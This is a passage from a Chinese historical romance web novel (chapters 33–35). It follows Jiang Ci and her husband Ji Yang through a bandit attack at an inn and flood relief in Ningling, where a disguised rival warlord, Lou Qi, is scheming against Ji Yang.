她从不指望姬阳能将自己当作寻常夫妻那般亲近,只求一份相敬如宾、互不干扰,哪怕不能情投意合,只要他愿意放下对凉州的执念,愿意不动刀兵,那便也算心安。
可如今听来,那人心底最执着的,却终究还是凉州,是旧仇,是城池,是征伐天下的雄图。
而她,不过是他通往那些目标的一环而已。
她低头靠在床柱边,垂眸不语,半晌,连心也冷了几分,忽然觉得胃中犯恶心,忍不住干呕几声。
夜色如墨,浓重得像是泼了一池黑,压得人喘不过气。林间的风悄然拂动,掠过客栈残旧的窗棂,林中虫声悄然止息。
忽有树影一晃,一支利箭“嗖”地贴着瓦檐掠过,钉入客栈外墙。
“杀——!”不知是谁一声断喝,霎那之间,刀光剑影撕开夜幕。
客栈内猛然传来兵刃交击声,还有人痛呼倒地的惨叫。
姜辞从梦中惊醒,猛地撑起身子,尚未来得及穿鞋,就听见楼道上传来奔跑和厮杀的声音,惊叫声、怒吼声、自窗外如夜雨般砸落进来,她心口一跳,立刻披衣随意蹬上鞋踉跄着跑向门边。
几乎与此同时,另一侧的房内,姬阳也已倏然睁眼,翻身起身。甲衣还来不及穿,只取了剑束于腰间,便听“砰”地一声,门板被外力猛然踹开。
陆临川也已惊醒,刚欲起身,却被姬阳一手拦下。
“行舟你退后。”姬阳声音低沉,已提剑迎敌。
两名黑衣人冲入房内,刀锋寒光闪闪。姬阳冷眼一扫,脚下迅捷,几步之间便以剑挑飞其一兵刃,旋身一击将对方踹出门外。转手又封下一刀,冷刃横扫,带出血光。
而这时,隔壁银霜所住房内,传来一声女子尖叫。
姬阳眸色骤沉,低声喃喃:“不好,姜辞。”
他当即挥剑斩落另一人,脚下不停,迅疾冲出房门,往姜辞房间方向奔去。房门大开,屋中空空如也。
他的心骤然一沉。
“姜辞——”
下一瞬,他便听见庭外一声惊呼。
回廊之下,姜辞正拉着晚娘与银霜奔逃而来,身后有两名黑衣人穷追不舍。她步履慌乱中仍死死护着两名婢女。
姬阳眸光一寒,握剑冲上,身形如风,数招之间便将那二人逼退,翻手一剑斩落其中一人肩胛,另一个也被逼得后退几步。
就在此时,院中忽而跃出一个身着墨衣、头戴斗笠的陌生男子,手中长刀一抖,寒光陡现。
他一人对三,刀风凌厉,身法如魅,招式却狠辣凌厉,转眼已斩翻三名黑衣人。那柄长刀在他手中仿若有灵,挥刀处竟无一合之敌。
姬阳眉头紧蹙,未发一语,只与他并肩作战。
突然,一道黑影从侧面疾窜而出,直扑姜辞而来,掌风凛冽,眼见便要及身。
姜辞反应不及,只觉一股劲风袭来,根本来不及躲避,便被一掌击中肩侧,身形猛地一晃,整个人失衡,从二楼回廊翻身跌出。
几乎是刹那之间,姬阳身影一掠而过,毫不犹豫跃下楼去,一把将姜辞接住,护在怀中,稳稳落地。
他手臂用力将她圈紧,缓冲力道,一手执剑,一手护人。
随后他立即将姜辞推开,低声道:“快找地方躲起来。”
姜辞点头,转身藏入掌柜柜台后方。
陆临川此刻也带着银霜与晚娘穿过回廊,正欲奔向后院,却被几名黑衣人拦住。银霜一时脚下一滑,摔倒在地,她正欲拔出藏在袖子里的短剑。
“银霜!”陆临川回身将她拉起,断了银霜的念想,陆临川一把将她和晚娘推入最近的一间房内,将门死死抵住。
他转头看向银霜与晚娘,厉声道:“快!你们两个躲进柜子,别出来!”
银霜急道:“陆司马,您不会功夫,他们要事追上来……”
陆临川打断她:“我是男人,该我挡在你们前面。快进去!”
银霜泪光一闪,咬牙点头,与晚娘一同躲入衣笥。
陆临川则找来一张桌子堵住房门,屋内还有一名路人早已倒毙血泊之中,气息已断。
就在此时,门外骤然传来一声巨响,似有人正踹门而入。陆临川一把抄起地上的木凳,双手紧握,已然摆好拼死一搏的架势。
柜中,银霜透过缝隙望去,瞧见他一身青衫微颤,心中不由一紧,心也提到了嗓子眼。
房门终究被破开,三名黑衣人如饿狼般闯入,转瞬之间便将陆临川团团围住。
他挥动手中的木凳抵挡,却终究不敌其力,被一人一脚踹翻在地,重重跌在地上,额角擦破。
那三人对视一眼,似已默契达成,提刀便欲将他斩杀。
千钧一发之际,只听“砰”地一声,柜门忽然被人从内撞开。
一道纤影自暗中掠出,银霜身形如燕,眨眼间已绕至其中一名黑衣人身后。她伸手一扭,只听“咔哒”一声脆响,那人颈骨应声而断,软倒在地。
其余二人震怒,挥刀扑向她,银霜袖中短匕出鞘,转瞬便划破空气,直取要害。匕首所至,喉间鲜血喷涌,二人竟毫无还手之力,踉跄数步后轰然倒地。
屋内顿时重归死寂。
陆临川跌坐在地,目光震惊地看着眼前那具冷静干练的身影,心头泛起层层惊涛骇浪。
第33章
此刻的银霜,与往日那个天真羞涩、战战兢兢的小婢子判若两人。她眉目冷肃,杀意未消,立于血泊之中,如霜如刃。
银霜回身,将手伸向他。
陆临川仍怔怔地看着她,未作动作。
她蹙眉催促,声音清冷:“还不快起来。”
陆临川这才回神,急忙起身,拍去身上的尘土,仍不敢置信地问道:“你会功夫?”
银霜收起匕首,语气淡然:“此事还望陆司马保密,我家小姐并不知情。老爷命我随侍左右,护她周全。不到万不得已,不可出手。”
陆临川郑重地点了点头,眼中闪过一丝敬意。
这时,屋外打斗之声仍未止息,银霜倚靠在门边,望向远处,又回头安抚晚娘道:“小姐应当无恙,都督与那名少侠身手不凡,这些人不是他们的对手。咱们暂且在此避一避。”
说罢,她拉着晚娘再次躲入柜中,将门轻轻掩上。
而陆临川独自一人站在原地,望着血泊中那三具尸体,不禁轻轻勾唇,喃喃自语:“这世道,还真是人不可貌相。”
外面的局势仍未平息。姜辞藏身的柜台后忽被一股大力揪住,那人拎住她的衣领将她甩出,重重摔在地上。
她来不及起身,便见寒光直逼面门。
生死关头,那名戴斗笠的男子如鬼魅一般窜出,长刀一横,替她挡下致命一击,反手便是一刀刺入来人腰腹,力道极重,一刀封喉。
姜辞愣在原地,喘息未定。
这时姬阳也收了最后一名敌人,回身望来,只见她倒在地上,而那名陌生男子一膝跪地,单手撑地,将她牢牢护在身下。
那一幕刺入姬阳眼中,他眉头一拧,大步上前,一把将男子拽开。
“起来。”
那人虽负伤,却仍沉稳站起,淡淡地看了他一眼,没作声。
姜辞一惊,看见斗笠男子肩头血迹斑斑,急忙道:“姬阳,你轻点,他受伤了。”
姬阳收剑入鞘,目光一沉。那戴着斗笠的男子正欲伸手去扶姜辞,却被姬阳一掌拍开。姬阳上前一步,将姜辞扶起,语气清冷:“我的夫人,就不劳阁下费心了。”
姜辞稳住身形,朝那人轻轻一礼,道:“多谢相救。”
姬阳低头看向她,语气略缓:“你可有受伤?”
姜辞摇了摇头,手却悄然握住他的衣袖,神色微急:“晚娘和银霜呢?”
姬阳环顾四周,沉声道:“你留在此处,我去寻她们。”
天将破晓,一小队东阳军快马而至,队伍整肃,气势森然。
客栈大厅内,姬阳负手而立,目光扫过一地尸体,冷声吩咐:“看这几人的装束,应是近日在百
姓口中流传的流贼,八成是劫财杀人。”
陆临川站在他一侧,闻言道:“主公,还好这伙人数量不多,若是他们人再多些,昨夜东阳军皆歇在二里之外,恐怕……”
“无妨。”姬阳打断他,“事已平息,命人清理现场,片刻后启程,留几人处理后事。”
正说话间,姜辞领着晚娘和银霜从楼上缓步而下。姬阳抬眸望去,只见她一身素衣,神色平静,虽略显疲惫,却已恢复往日从容。
这时,那名戴斗笠的男子也从一侧厢房走出。他缓缓摘下斗笠,走到众人面前,拱手一礼,声音清朗:“在下燕渡,从凉州来,昨夜蒙诸位相助,多谢。”
姬阳与姜辞齐齐望向他。
那人五官俊朗,目如寒星,唇角含笑,气度闲逸。姜辞盯着他的眼,忽觉有些熟悉,略一迟疑,便抬手挡住他的下半张脸,再次凝视那双黑曜石般的眼睛——她想起了,那日丰都城内的医馆,偷舆图的人,是他!
“你在做什么?”姬阳皱眉问道。
姜辞微怔,忙低下手,随口应道:“手有些痛,看看是不是伤着了。”
姬阳面色一沉,走近一步,语气中多了几分关切:“你受伤了?”
姜辞连忙摇头:“没事。”
姬阳目光一收,又转头盯住燕渡,沉声问道:“不知这位少侠,既是凉州人,为何会在此地现身?”
燕渡唇角微扬,懒洋洋地回道:“我虽出身凉州,却更喜行走四方,游历山川,谈不上什么目的,不过是江湖游侠一名。昨夜与大人并肩一战,配合得当,何必如此敌意相向?”
姬阳没有再理会,只挥手道:“整队,启程。”
燕渡却不急着走,忽然开口,唤住了他:“这位大人,敢问你们此行要往何处去?”
前方的姬阳闻声回头,目光冷冽,语气也如刀锋:“无可奉告。”
言罢,他收回视线,翻身上马,衣袍猎猎,带着众人策马而去。
楼弃立于原地,望着那一行人的背影,目光最后停在那抹青衫素影之上,唇角轻轻翘起,低声道:“姬阳,好久不见啊。”
……
行出十余里后,林道渐阔,马蹄声与车轮声交织一片。
姬阳一手执缰,忽然偏头问道:“你方才有没有觉得,那名唤作燕渡的江湖人,身法有些眼熟?”
陆临川略一思忖,摇了摇头:“不知主公所指何种熟悉?”
姬阳沉声道:“昨夜并肩御敌时,那人出招、翻身、落步的气劲……让我想起一个人——楼弃。但我素未见过楼弃真容,战场上每次交手,他都戴着青铜面具。”
陆临川挑了挑眉,道:“瀚北离此地隔着一整座青州,楼弃身为一方霸主,岂会舍本逐末,亲自只身南下?怕是多心了。”
姬阳凝视前方,眉头轻蹙,声音低沉:“但愿如此。只是……我与楼弃交手多年,那种逼人的气势,实在太像了。”
……
马车之中,车帘微曳,风声徐徐。
姜辞靠在软垫上,指尖缓缓抚过肩头昨夜被掌风震中的地方,那里尚有微微的酸痛感。她眉眼不动,却因那一下跌落,心中似也泛起不明的涟漪。
晚娘察觉她神情不妥,轻声问道:“姑娘,可是哪里不适?”
姜辞缓缓摇头,语气淡然:“一点小伤,无妨。等到了宁陵再说。”
银霜掀开帘子向外望了眼,只见前方两骑并行,正是姬阳与陆临川并肩而行。她望着那挺拔的背影,忽然想到昨夜那人不顾危险,将她从地上一把拉起的模样,心中一暖,不禁勾起嘴角。
姜辞将她的神色尽收眼底,含笑打趣道:“银霜,你怎地忽然笑得这般欢喜?”
银霜一怔,连忙收敛笑意,装作无辜道:“小姐,我们是不是快到宁陵了?”
姜辞也未再调笑,只道:“是。早晨出发前,听他们说最快一日即可抵达。只是怕中途再生事端,他们不打算在途中停驿休息了。”
银霜轻轻点头,垂下眼帘,却仍掩不住眼角的一丝笑意。
抵达宁陵时,已经是两日后,天色已近午。
一行人踏入城中,只见街巷泥泞,房屋倾圮,污水横流,百姓或席地而坐、或抱瓦残砖,神情惶惶。远处偶有孩童啼哭声传来,夹杂着家禽的惊叫,更添几分萧索。
东阳军按姬阳吩咐,于城西空地安营扎寨,宁陵郡守已在城门口恭候多时,姬阳与姜辞由宁陵郡守亲自引领,入驻郡守府中一处偏僻别院。
郡守年近五旬,身着布袍,面色苍黄,拱手一礼后,开口禀道:“都督,前几日连夜暴雨,引发山洪,冲塌了北城外三十余户民居,南城水渠崩坏,村民为求生计四散逃离,已有哄抢之乱端苗头,臣担心有瘟疫之势,届时恐难压制。”
姜辞静静立在一侧,听得眉头微皱,望向庭外那残阳沉沉,心中却是一片凉意。
姬阳神情不变,冷声吩咐:“立刻让人逐街清点受灾户数、死伤人数,以及仍可出力的青壮年数量。水利损毁部分,待我亲自勘察。”
郡守连连应下。
姬阳眉头未展,冷声问:“城内粮仓可支几日?”
郡守露出一丝尴尬:“回都督,前期赈济所用,官仓粮已不足五成,民间存粮亦所剩无几。再无新粮入城,至多只能撑六日。”
他顿了顿,补充道:“此外,通往南方的粮道亦因桥梁塌方受阻,若不及早疏通,恐有断粮之忧。”
姬阳神色微凝,未言一语。
一旁的姜辞静立廊下,听得分明,衣袖轻握,目光也随着郡守的字句微微一紧。
郡守又拱手一礼,低声道:“属下惭愧,筹备不周,请都督责罚。”
姬阳抬手止住:“现下非追责之时。”
“本督给你三日,第一,将伤者逐一登记,确认安置之所;第二,统计仍能出力的青壮,并由本军协助统一调配;第三,即刻派人至西岭补桥通路,粮道一刻不可断。”
郡守连连躬身:“诺!”
陆临川则被安排在另一处相邻的小院,几名随行文吏也各自安顿。别院幽静,虽远离主堂,却尚且整洁,倒也称得上安稳。
姬阳目光扫过庭院,朝姜辞道:“你睡主屋。”
语气平淡至极,说罢便转身欲走。
哪知身后忽然一声闷哼响起。
“唔……”
他脚步一顿,回头便见姜辞眉头紧皱,手覆着肩头,银霜则满脸愧色地低下头:“都督恕罪,是我方才不小心拍到了小姐肩上,她……之前被流贼所伤,伤在后肩,至今还肿着。”
姜辞低垂着眼,轻轻扯了扯银霜的袖子,似想阻止她多言。
姬阳盯着她看了一瞬,终是什么都没说,只转身快步出了院子。
银霜望着他背影冷哼一声:“哼,都督真是冷心冷面的,小姐都伤成这样了,他连句关心都吝得说。”
姜辞只是微微一笑,似早已习惯,不以为意。
她吩咐道:“去外头看看药材铺还开着没有,我想要白芷、苏木、冰片,还有些接骨草。”
银霜应了一声,匆匆离去。
晚娘则将屋内床榻铺好,拂尘拭案,轻声劝道:“姑娘快歇歇罢,舟车劳顿了一路,身子要紧。”
姜辞点点头,进屋换衣。
此时的姬阳,已回到了东阳军营帐。
他踏进主帐,招手唤来副将,沉声问:“这次行军带的药在哪儿?”
副将立刻答道:“在辎重车上,小的这就带您去。”
姬阳步出营帐,脚步疾快,来到马车旁,打开药箱,逐一翻检,终于从最底层摸出一只小巧白瓷药瓶。
他握在掌心,转身就走。
副将在后唤他:“都督,如今看情形,水患比
预期严重,属下建议尽早设法安抚百姓、修筑堤坝,若再迟延,只怕……”
“我知道。”姬阳头也不回,“等我回来再议。陆司马一会便来,你们先议着。”
回到郡守府,暮色已深。
他走入别院,月光在树影下斑斓摇曳。他径直来到主屋前,正要抬手敲门,手却在半空停住。
他垂眸望着掌中的药瓶,神色沉了片刻,终是将瓶子轻轻放在门边的台阶上,转身离去。
过了一会,屋门吱呀一声被推开。
姜辞换好了衣衫,正欲出去唤银霜,却看见门口静静躺着一只白瓷瓶。
她一怔,俯身拾起,拧开瓶盖,一股清凉薄荷气息扑鼻而来,夹杂着当归与冰片,是极为妥帖的活血散瘀膏。
她望着瓶子,神色微动,转头望向小院,夜风拂柳,院中空无一人。
“这银霜,找了药回来,也不吭一声就丢在门口,人又不知道跑哪儿去了……”
第34章
姜辞回到屋中,院中风声犹在,几株枣树枝叶翻卷,枝头低垂着一盏油灯,光线摇曳,落在她眼前的桌案上。
她在椅上坐了片刻,目光落在那只小巧的白瓷药瓶上,瓶身无字,洁白温润。她伸手将它推近些,凝视片刻,脑海中却浮现出今晨入宁陵时,沿途所见之景。
村道旁的田地已是一片泥泞残败,不少百姓拖家带口地行走于道旁,有人背着行囊、有人推着独轮车,还有妇人怀中抱着尚在啼哭的婴孩,步履蹒跚。
而有些没能及时转移的,更是就地铺草为席,枕着麻袋躺卧路边,神情疲惫,眼神茫然。
这一幕幕,不觉间与她记忆中紫川流民潮交叠在一起。
那时凉州边关失守,紫川为避战乱,迎入大批避战流民。
她曾在城中设粥棚、开仓放粮,也曾亲自走入街巷,将一包包粮食递到妇孺手中。那些人眼里的感激、仓皇与绝望,如今又在宁陵百姓眼中重现。
姜辞的神思渐沉,不觉出神。
这时门“吱呀”一声被推开,银霜抱着一小包东西气喘吁吁走进来,语气里还带着几分兴奋:“小姐,我回来了。”
姜辞抬眼,被拉回现实,她看向银霜,见她额角沁汗,衣摆上还沾了些泥点,便问:“你跑哪儿去了?”
银霜将手中药包放在桌上:“我去给小姐找药了啊。如今城里药铺药材都缺得厉害,说是因为水患塌方、桥毁路断,许多外头的货进不来。我跑了四五家才凑齐小姐要的药材。”
姜辞微怔,又看向桌上的白瓷瓶,神色渐柔。
她垂眸笑了一下,没有说话,片刻后忽而开口:“银霜,替我把笔墨取来,我要给我爹写封信。”
银霜忙应声,取来纸墨砚台。姜辞展纸提笔,落笔无声。
姜辞展平信纸,落座案前,执笔凝思良久,方才在墨砚中轻轻点蘸,提笔写下首句:
“父亲大人亲启。”
字迹工整秀雅,一如她素日性情。
她略一思索,随即执笔疾书,将宁陵之事一一落下:
“女儿随夫君入宁陵境,沿途水患所及,田庐尽毁,百姓多有流离之苦。宁陵城中原有户籍之人尚且不足,此番又涌入数百外乡灾民,现今城东一隅,堆卧者数名,皆席地而眠。郡守言及仓中储粮本就不丰,又因前月已拨数批赈粮,余粮所剩无几,恐支撑不过旬日。药材亦告匮乏,疫病之虞,不可不虑。”
她写得稳重,不言情绪,不加渲染,唯有一字一句,如实陈情,沉静却自带分量。
随即,又写道:
“请父亲设法于凉州调拨谷米三千石,草药若干,若能再遣信使带些人手前来,则不胜感激。”
写至此处,她略一顿笔,笔锋微沉。
屋外风声扫过竹影,她忽而忆起今晨路上所见的一双童眼,黯而无光,分明未及七八岁,却早已习得颠沛流离之态。她眼中轻轻一酸,又迅速定神,将杂念拂去。
最后,她收笔,缓缓落下:
“女儿近来一切安好,膳食起居俱平,身边亦有晚娘与银霜相伴,婆母相护然彼此相敬有加,与夫君行止之间,亦多照拂,无甚不谐。父亲大人若念我处境,还请宽心,烦父亲勿念。此信事关赈济,望父亲见信后勿怠,能早一日筹措,便早一日安稳。”
末尾题款:“女姜辞叩呈。”
这不是她第一次为百姓求援,但却是第一次,在他身边为他的百姓求援。如今她不知自己能为姬阳分担几何,只愿这一封信,能替宁陵争得些许喘息之机。
封好信,她将信递给守在旁边的银霜,语气认真:“这封信交给你,宁陵与凉州就一河之隔,你找人快马加鞭送去凉州,就说紧急,让他尽他所能,最好能派些人手来。”
银霜接过信郑重点头:“奴婢明白。”
姜辞送走银霜,房中渐归清寂。
她坐回桌边,伸手拎起那只白瓷瓶,微一犹豫,站起身来走至铜镜前,轻解衣襟,将右肩衣物褪下,那处瘀伤已从青紫转为淡青,触之仍隐隐作痛。
她轻启瓶盖,指腹蘸药,动作细缓地一点一点抹上。
姬阳回到东阳军营,夜色已沉,营帐内灯火摇曳,光影映得几人神色沉凝。
陆临川正倚案而立,见他入内,微微颔首。帐中还有副将杜孟秋,身着甲胄,神色凝重,宁陵郡守裴承绪亦立于侧前,手中仍握着方才送来的郡中简报。
姬阳未多言,抬手解开束在腰间的竹筒,自其中抽出一幅素纸舆图。那是姜辞今晨所绘,纸面清润,墨痕未干,几处关键水渠与堤坝位置以朱笔细注,虽非专业,但也大致明了地势走势。
他将舆图摊于案上,指节敲了敲一处河堤转折之地:“这里若再遭一场暴雨,怕是整个城南就要被淹。”
杜孟秋上前一步,拱手道:“都督所言不差,小的已派人沿此地勘察,但堤体年久失修,土质松散,临时修补,怕是杯水车薪。”
裴承绪神色难安,低声说道:“眼下可调配的民力不过两百余人,且大半年老体弱,实难胜重活。”
陆临川目光在舆图上扫了一眼,沉声道:“如今只能走西岭绕路,派兵护送粮车,但地势崎岖,辎重行得缓慢。即便今夜写信回丰都请求支援,粮草最快也要十日之后方能抵达。”
“而我们……”裴承绪眉头紧锁,“最多只可支撑六日。”
帐中陷入短暂的沉默。风穿帐帘,吹得烛火微颤。
姬阳低垂着眼,指尖缓缓抚过舆图上标注的“宁陵”二字,语气低沉:“河对岸就是凉州。”
一句话落下,众人皆未作声。
陆临川看了他一眼,知他心中所忌。他不愿低头向姜怀策求援,哪怕隔着一河,唾手可得的粮草与人力,他也不愿伸手。
但眼下灾情如山,六日之内若无援粮,百姓之乱恐在所难免。
姬阳一言未发,只是盯着案上舆图,目光沉似墨。
陆临川想劝,却又终究未出口,只将那句“若是姜辞愿意出面,或许能以义动亲”咽了下去。
帐内烛火微跳,映照着几人凝重的神情。
沉默半晌后,姬阳终于开口,语声低沉却不容置疑:“我们尽量能撑多久撑多久。裴郡守,召集民夫、调度修堤一事,我是门外汉,就交与你与那些懂行的人去办。”
他顿了顿,望向裴承绪,神色一如往常冷静:“我带来的人你可随意差遣,只一点——须尽快动工。不能等下一场暴雨落下,那时宁陵会再陷险境。”
裴承绪连连拱手称诺,略一犹豫,又道:“启禀都督,属下有一位旧识青年,素来熟水利之事。他本是凉州人,听闻他家族早年便以营渠筑坝为业,几代人都在此行出力。虽非官身,却于治水一道颇有心得,可协助一二。”
姬阳听闻“凉州人”三字,眉头轻蹙,语气微缓:“是何人?”
裴承绪忙道:“如今人便在外候命。若都督愿见,我这便叫他进来。”
姬阳凝眸片刻,终是点了点头:“唤进来吧。”
裴承绪领命而出,片刻后便带着一名青年入内。
那人一身墨衣,身姿修长挺拔,眉目清朗,气度不凡,步入帐中时,面上带着浅淡笑意。他拱手作揖,语声温润:“末学
燕渡,见过东阳都督。”
姬阳坐于案后,目光微敛,静静打量着他。心头警意却不动声色浮起——正是此人,先前在客栈中持刀救人,刀法利落、身形灵动,与他曾在战场上对峙多次的那位瀚北霸主楼弃,有几分神似。
可眼前这燕渡,自称只是凉州一介江湖游子,又有郡守作保,他一时也不好多言。
姬阳面无异色,淡淡点头:“你若真有本事,便协助郡守尽快筹划修堤之事。此事关数千百姓性命,不容有失。”
楼弃依旧神色从容:“属下明白。只求都督放心,此事在我,必不辱命。”
姬阳轻轻一顿,终未再多言,只挥手道:“退下吧,明日一早,便开始。”
楼弃抱拳应下,转身离开帐中,背影潇洒。
等他走远,姬阳垂眼盯着案上的舆图,目光微深:“此人……不简单。”
陆临川闻言,轻声应道:“主公是觉得他有别的目的?”
姬阳未答,只眸色暗了暗,低声道:“多留意,走着看吧。”
深夜,院中灯火已熄,屋内却仍有微弱的烛光摇曳。
晚娘坐在床边,一手拿着团扇,轻轻替姜辞扇着风。夏夜闷热,风从窗棂缝隙挤进来,也带不走屋中滞留的暑气。
姜辞侧身而卧,额发微湿,面容却沉静。
晚娘忽而低声问道:“姑娘,我读书不多,识字也少,但这些日子总听人提‘治水’二字。我心里一直不解,这治水为何这么难?既然难,为何代代都治?又为何从没见哪朝哪代把水患彻底断了?”
姜辞听得出她语气里的困惑,静了片刻,缓缓起身坐了起来,披衣靠坐在床头,目光微垂。
“你的疑问,”她轻声道,“其实天下百姓都曾问过。”
她顿了顿,望向窗外那一轮沉沉夜色,“水,自古就是大患。它柔,却也最无情。若天降暴雨,山河翻涌,片刻之间便能冲毁良田、卷走村落,河堤一破,数十里之地尽成泽国,百姓无家、牛羊尽失,田地荒废,甚至染疫而亡。”
“治水,是为护一方平安,是为保百姓温饱。”她语气温缓,却字字清晰。
“你说,为何年年治,却总不能断根?因为水之变幻无常,人心之力终有限。河道淤塞、堤坝老化、山洪突至……凡此种种,皆是常事。今日堤固,明年或又崩;今日除险,他年或再患。即便有再多兵马工匠,能堵一处,未必顾得全局。”
晚娘听得神色肃然,手中扇子不觉停了下来。
姜辞继续说道:“历朝历代,凡是明君仁政之主,皆不敢轻忽水患。古时禹王治水,三过家门而不入,便是为此。”
“能治水,便能得民心;能安水,便能安天下。若你问我,为何人人都去治水,便是这缘故,百姓的命,全在这一水字上头。”
说到最后,她轻轻一笑:“所以,如今姬阳肩负此事,虽非帝王之身,却担着万民生计,容不得半分懈怠。”
晚娘怔怔地看着姜辞,良久才低声道:“姑娘……奴婢原以为不过是修修堤坝、清清河渠,竟不知,这水里也装着天下苍生的苦。”
姜辞伸手,轻轻握了握晚娘的手,低声道:“所以我们并不是为了帮他,我们是为了帮那些与我们一样有血有肉的百姓,不管能帮多少,都该尽力。”
晚娘点点头,轻声道:“若都督能看见你的好,真心接纳你,愿与凉州和睦共处,那该多好。”
姜辞闻言,唇角却慢慢垂了下去。那夜他的话,依旧在脑海盘旋挥之不去。
姬阳,终究还是想要亲手,取了姜家人的命。
可姜辞看着不远处桌子上放的白瓶,她又觉得自己看不懂姬阳,明明送药,却不留一言,倘若真的不在意她,又何必做这样的事。
夜深风静,宁陵郡内一间偏僻客栈灯火微明。
苏玉推门而入,进来后倚在桌边,盯着楼弃冷笑一声:“你下这么一盘大棋,别告诉我是为了替姬阳修坝治水。我竟然不知道,你什么时候多出个懂水利的祖宗了?”
楼弃坐在窗台上,身形慵懒,一只手搭在膝盖上,望着窗外破败的街巷与点点星火,语气却极为轻缓:“我不是来帮他的。”
苏玉挑眉:“那你到底图什么?”
楼弃回头,眼神漠然却带着些讥诮:“丰都通往宁陵的路已经被我们毁了,西岭路上埋伏了我们的人,他的粮草,运不过来,治水的重担如今压在他肩上,我要看他如何应对。”
“我不要夺他的兵,也不要毁他的城。”
他顿了顿,眼眸微垂,嗓音低缓却透着狠意:“我要他在宁陵百姓心中,一败涂地。”
第35章
第二日天光微亮,城中尚未苏醒,姜辞便带着银霜走出别院。
宁陵城内虽然无恙,但是也因之前暴雨,街巷已被洗涤得泥泞斑斑,道边聚集着不少无家可归的村民,或倚墙而坐,或席地而卧,神情疲惫。姜辞一路默默走过,眉头微皱。
她领着银霜一路走上城楼,守城兵士见她是都督夫人,便低声问安,恭敬放行。
城楼之上风微微起,带着一丝夏日的湿热。
姜辞立在高处,望向城外。
渠坝断裂之处泥石横流,村庄半毁,民屋倾颓。
她轻轻一转头,就能望见远方云烟缥缈的河对岸,那便是凉州。
银霜站在她身后,轻声唤道:“小姐……”
姜辞看着眼前的残破一切,低声道:“银霜,我们走,去实地看看。”语气平静,却透着一股坚决。
一行人绕出北门,沿着决堤的渠边一路勘查。姜辞沿途细细察看地势、水流走向,还向附近的村民打听过往每年的汛情及河水涨势。
回府已是黄昏,姜辞顾不得歇息,披衣坐到案前,唤来纸笔。她俯身细描,用舆图为骨、数据为脉,一笔一划画出分流渠引图,设缓洪区、蓄水池、导流口,皆依地形起伏精心设计。
一夜无眠,灯火微弱。
东方欲晓,姜辞揉了揉发酸的肩膀,将绘好的图纸小心卷好,装进一个细长竹筒中。她披上外衣,悄悄来到姬阳的门前,将竹筒轻轻放在台阶上,转身便走。
没过多久,姬阳晨起出屋,低头一见竹筒,略一皱眉,俯身拾起,抽出图纸一看,只见分流图细致清晰,注释详明。他望着纸上密密麻麻的字迹,心中泛起一种说不清的复杂情绪。
而此时,姜辞回到房内,方才洗漱完,换下外袍。晚娘在旁将被褥整理好,忍不住叹气:“姑娘啊,您这样熬夜,当心身子扛不住。”
姜辞声音微哑,却笑着摇头:“无妨。如今这局势,东阳带兵来赈灾,我若能做点事,总好过袖手旁观。”
晚娘一边为她铺床,一边笑道:“老爷当年教您地势水利,如今也算是派上用场了。”
姜辞躺进床榻,将被子往上拢了拢:“谁说不是呢。如今乱世之中,会点东西,总比空守着身份强。”
话落,她闭上眼,睡意终于涌来。
而在军营中,姬阳将图纸带入营帐,与裴郡守、陆临川、以及主管水工事务的督坝官卢仲山一同议事。
图纸摊开在案几上,卢仲山看得连连点头:“设计得极是妥帖,分洪与储蓄一体,若能尽数施行,必可解燃眉之急。”
裴承绪惊奇道:“此图是谁所画?都督不是说东阳军中没有懂治水之人?”
陆临川一笑:“此乃夫人所绘。”
话音刚落,一旁的楼弃,目光一凝。
姬阳立即瞪了一眼陆临川道:“就你多嘴。”
裴承绪出了营帐,与楼弃等一众人汇合,把图纸给他们看,楼弃忍不住问道:“这是何人所绘?”
裴承绪说
道:“这是都督夫人的手笔。”
楼弃目光落在图纸右下方隽秀的字迹上,那是姜辞亲手写的注解。
他怔了半晌,嘴角微微翘起,似笑非笑,心中不禁感叹:原以为她不过识些舆图,略有才情,没想到竟能治水。
眼底却浮出一抹隐秘的兴趣:倒是我小看了她。
傍晚时分,天光染霞,整座别院都笼在一片橘红与金金光的柔晕里,薄风拂过树梢,叶影婆娑。
院中静谧,只有远处偶尔传来几声蝉鸣。
姜辞换了身淡青色的衣裙,独自立于庭中小径,望着西边的晚霞出神。
云层翻卷如锦,夕阳正缓缓沉入远山,映得她眼中的光仿若星火生辉。她眼睫微颤,似在想着什么,一动不动。
姬阳步入院中时,恰见她这一幕。他顿住脚步,看着她单薄的身影披在霞光里,一时间竟未出声。
他刚欲上前,姜辞才有所察觉,微微回头。眼中落入的,是晚霞倒映下的他,黑衣在风中微动,眉目冷峻。
姬阳走近几步,目光落在她肩头,道:“辛苦了。不知道你后肩……”
话未说完,姜辞便已打断:“已经好多了,谢谢都督关心。”
他却淡淡道:“我也没有关心你。只是怕你病倒在这儿,徒增烦恼,本就人手紧张,你倒了,还得分人来照料。”
姜辞听罢忍不住笑出声来,轻声道:“都督还没用晚膳吧?晚娘正在准备饭菜,若不嫌弃,就一起吃些。”
姬阳点头:“好。”
饭桌设在廊下,灯笼初上,薄风袭人。二人相对而坐,却都默然低头,埋头吃饭。屋檐下的蝉声如丝不绝,夏意渐深。
晚娘立在一旁,只觉气氛有些拘谨又尴尬,眼神飘向银霜,低声道:“我还有些针脚未收。”随即退下。
银霜立刻接话:“我正好要去请教陆司马些事情。”也匆匆跟着离去。
霎时间,院中只剩二人。
姜辞轻轻拨动碗中饭粒,偶尔抬眸,目光落在姬阳身上。他虽坐得笔直,神情却冷淡,连眼皮都不曾抬一下。
这时,院门吱呀一声被推开,越白踏步而入,扬声道:“都督。”
姬阳一听是他,神情终于有了变化,淡淡看了他一眼。
越白却率先开口:“您让我去找陈良将军,凉州的布匹、茶叶,还有些胭脂水粉,我已让人拉回丰都了。这次知道您在宁陵,便直接骑马过来。”
姬阳皱眉,冷声道:“越白。”
越白自知说多了,正要收口,却听姜辞偏头问道:“凉州的东西,丰都有的是,为何还要从那边取来?”
越白嘿嘿一笑:“奥,是都督说……赔……”
“你去看看你大哥,他在营中。”姬阳面色一冷,立即打断。
越白吐了吐舌,只好识趣地躬身一礼,退了下去。
廊下沉默了一瞬。
姜辞放下碗筷,语气淡淡道:“哦。”她假装未听出越白话中的意味,仿佛方才不过一场寻常插曲。
姬阳垂眸望了她一眼,终是开口:“原本是想等你回去再告诉你。之前……烧了你的东西。”
姜辞不等他说完,轻声接话:“我知道了。”
两人之间的言语,仿佛一柄柄钝刀,割不破表面的平静,却满是暗藏的情绪。
姬阳也放下碗筷,起身道:“我吃好了。”言罢便转身离去。
夜色深沉,郡守府的院中静谧无声,唯有风吹树叶的沙沙声在耳畔作响。
